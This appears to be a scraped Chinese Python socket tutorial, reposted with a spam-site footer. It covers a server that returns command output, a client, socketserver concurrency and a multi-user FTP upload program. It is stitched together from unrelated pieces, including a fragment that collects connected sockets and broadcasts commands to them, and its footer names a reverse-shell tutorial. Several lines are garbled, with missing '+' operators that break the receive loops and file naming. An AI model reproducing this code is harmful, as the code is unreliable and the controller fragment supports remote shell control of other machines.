            conn.send(str(len(res)).encode("utf-8")) #发送数据之前,先告诉客户端要发多少数据给它
            print("等待客户ack应答...")
            client_final_ack = conn.recv(1024) #等待客户端响应
            print("客户应答:",client_final_ack.decode())
            print(type(res))
            conn.sendall(res) #发送端也有最大数据量限制,所以这里用sendall,相当于重复循环调用conn.send,直至数据发送完毕
    
    server.close()
    

     2)client

    import socket
    import sys
    
    client = socket.socket()
    
    client.connect(("localhost",9999))
    
    while True:
        msg = input(">>:").strip()
        if len(msg) == 0:continue
        client.send( msg.encode("utf-8") )
    
        res_return_size  = client.recv(1024) #接收这条命令执行结果的大小
        print("getting cmd result , ", res_return_size)
        total_rece_size = int(res_return_size)
        print("total size:",res_return_size)
        client.send("准备好接收了,发吧".encode("utf-8"))
        received_size = 0 #已接收到的数据
        cmd_res = b''
        f = open("test_copy.html","wb")#把接收到的结果存下来
        while received_size != total_rece_size: #代表还没收完
            data = client.recv(1024)
            received_size  = len(data) #为什么不是直接1024,还判断len干嘛,注意,实际收到的data有可能比1024少
            cmd_res  = data
        else:
            print("数据收完了",received_size)
            #print(cmd_res.decode())
            f.write(cmd_res) #把接收到的结果存下来
        #print(data.decode()) #命令执行结果
    
    client.close()
    
    1 #等待连接
    2 def waitConnect(s):
    3     while True:
    4         sock,addr = s.accept()
    5         if sock not in socketList:
    6             socketList.append(sock)
    

    9. SocketServer

     SocketServer最主要的作用就是实现并发处理。SocketServer是对Socket的再封装。

    1
    class socketserver.TCPServer(server_address, RequestHandlerClass, bind_and_activate=True)

    上面这条指令是TCP的SocketServer

    1
    class socketserver.UDPServer(server_address, RequestHandlerClass, bind_and_activate=True)

    上面这条指令是UDP的SocketServer

     

    创建一个socketserver 至少分以下几步:

    1. 首先,你需要创建一处理请求的类,并且要继承BaseRequestHandler,并且还要重写父类里的handle()方法。这个handle()方法将会处理进来的请求。
    2. 第二,你需要实例化一个TCPServer的对象,并且传递server ip和你上面创建的请求处理类,给这个TCPServer
    3. 第三,调用server.handle_request()#只处理一个请求,或者,server.serve_forever()#处理多个请求,永远执行
    4. 最后,调用server.close()来关闭这个socket

    注意,与client的所有的交互都是在handle()方法中完成的。

    基本的socketserver代码

    import socketserver
    
    class MyTCPHandler(socketserver.BaseRequestHandler):
        """
        The request handler class for our server.
    
        It is instantiated once per connection to the server, and must
        override the handle() method to implement communication to the
        client.
        """
    
        def handle(self):
            # self.request is the TCP socket connected to the client
            self.data = self.request.recv(1024).strip()
            print("{} wrote:".format(self.client_address[0]))
            print(self.data)
            # just send back the same data, but upper-cased
            self.request.sendall(self.data.upper())
    
    if __name__ == "__main__":
        HOST, PORT = "localhost", 9999
    
        # Create the server, binding to localhost on port 9999
        server = socketserver.TCPServer((HOST, PORT), MyTCPHandler)
    
        # Activate the server; this will keep running until you
        # interrupt the program with Ctrl-C
        server.serve_forever()
    

    但上面的代码,依然不能同时处理多个连接。想要实现socketserver的多并发,只需要把下面这句

    1
    server = socketserver.TCPServer((HOST, PORT), MyTCPHandler)

    换成下面这个,就可以多并发了,这样,客户端每连进一个来,服务器端就会分配一个新的线程来处理这个客户端的请求

        server = socketserver.ThreadingTCPServer((HOST, PORT), MyTCPHandler)
    

     

    让你的socketserver并发起来, 必须选择使用以下一个多并发的类

    class socketserver.``ForkingTCPServer  #Forking是进程的意思,这个类是多进程并发处理TCP协议的链接,但是只能在linux系统上使用。

    class socketserver.``ForkingUDPServer  #Forking是进程的意思,这个类是多进程并发处理UDP协议的链接,但是只能在linux系统上使用。

    class socketserver.``ThreadingTCPServer  #Threading是线程的意思,这个类是多线程并发处理TCP协议的链接

    class socketserver.``ThreadingUDPServer  #Threading是线程的意思,这个类是多线程并发处理UDP协议的链接

    只需要把之前修改的类换成对应的上面的类,就可以实现多进程或多线程并发处理TCP协议或UDP协议的链接

     

    class socketserver.``BaseServer(server_addressRequestHandlerClass) 主要有以下方法

    class socketserver.BaseServer(server_address, RequestHandlerClass)
    This is the superclass of all Server objects in the module. It defines the interface, given below, but does not implement most of the methods, which is done in subclasses. The two parameters are stored in the respective server_address and RequestHandlerClass attributes.
    
    fileno()  #返回文件描述符,一般用不到,是系统内部调用时用的。
    Return an integer file descriptor for the socket on which the server is listening. This function is most commonly passed to selectors, to allow monitoring multiple servers in the same process.
    
    handle_request()  #处理单个链接请求,我们一般也不用。
    Process a single request. This function calls the following methods in order: get_request(), verify_request(), and process_request(). If the user-provided handle() method of the handler class raises an exception, the server’s handle_error() method will be called. If no request is received within timeout seconds, handle_timeout() will be called and handle_request() will return.
    

    我们再来实现发送命令的函数,这个函数我们遍历socketList这个列表,将每个socket都调用一次send将命令发送出去。

    10、支持多用户在线传输的FTP程序

    1)server

    import socketserver
    import json,os
    class MyTCPHandler(socketserver.BaseRequestHandler):
    
        def put(self,*args):
            '''接收客户端文件'''
            cmd_dic = args[0]
            filename = cmd_dic["filename"]
            filesize = cmd_dic["size"]
            if os.path.isfile(filename):
                f = open(filename   ".new","wb")
            else:
                f = open(filename , "wb")
    
            self.request.send(b"200 ok")
            received_size = 0
            while received_size < filesize:
                data = self.request.recv(1024)
                f.write(data)
                received_size  = len(data)
            else:
                print("file [%s] has uploaded..." % filename)
    
        def handle(self):
            while True:
                try:
                    self.data = self.request.recv(1024).strip()
                    print("{} wrote:".format(self.client_address[0]))
                    print(self.data)
                    cmd_dic = json.loads(self.data.decode())
                    action = cmd_dic["action"]
                    if hasattr(self,action):
                        func = getattr(self,action)
                        func(cmd_dic)
    
                except ConnectionResetError as e:
                    print("err",e)
                    break
    if __name__ == "__main__":
        HOST, PORT = "localhost", 9999
        # Create the server, binding to localhost on port 9999
        server = socketserver.ThreadingTCPServer((HOST, PORT), MyTCPHandler)
        server.serve_forever()
    

    2)client

    import socket
    import json
    import os
    #client.connect(('192.168.16.200',9999))
    
    class FtpClient(object):
        def __init__(self):
            self.client = socket.socket()
        def help(self):
            msg = '''
            ls
            pwd
            cd ../..
            get filename
            put filename
            '''
            print(msg)
        def connect(self,ip,port):
            self.client.connect((ip, port))
        def interactive(self):
            #self.authenticate()
            while True:
                cmd = input(">>").strip()
                if len(cmd) ==0:continue
                cmd_str = cmd.split()[0]
                if hasattr(self,"cmd_%s" % cmd_str):
                    func = getattr(self,"cmd_%s" % cmd_str)
                    func(cmd)
                else:
                    self.help()
        def cmd_put(self,*args):
            cmd_split =  args[0].split()
            if len(cmd_split) >1:
                filename = cmd_split[1]
                if os.path.isfile(filename):
                    filesize = os.stat(filename).st_size
                    msg_dic = {
                        "action": "put",
                        "filename":filename,
                        "size": filesize,
                        "overridden":True
                    }
                    self.client.send( json.dumps(msg_dic).encode("utf-8")  )
                    print("send",json.dumps(msg_dic).encode("utf-8") )
                    #防止粘包,等服务器确认
                    server_response = self.client.recv(1024)
                    f = open(filename,"rb")
                    for line in f:
                        self.client.send(line)
                    else:
                        print("file upload success...")
                        f.close()
    
                else:
                    print(filename,"is not exist")
        def cmd_get(self):
            pass
    
    
    ftp = FtpClient()
    ftp.connect("localhost",9999)
    ftp.interactive()
    

    至此我们的Server端就完成了。

     

    本文由新葡亰496net发布于奥门新萄京娱乐场,转载请注明出处:新葡亰496net:如何DIY一个简单的反弹Shell脚本,

    关键词: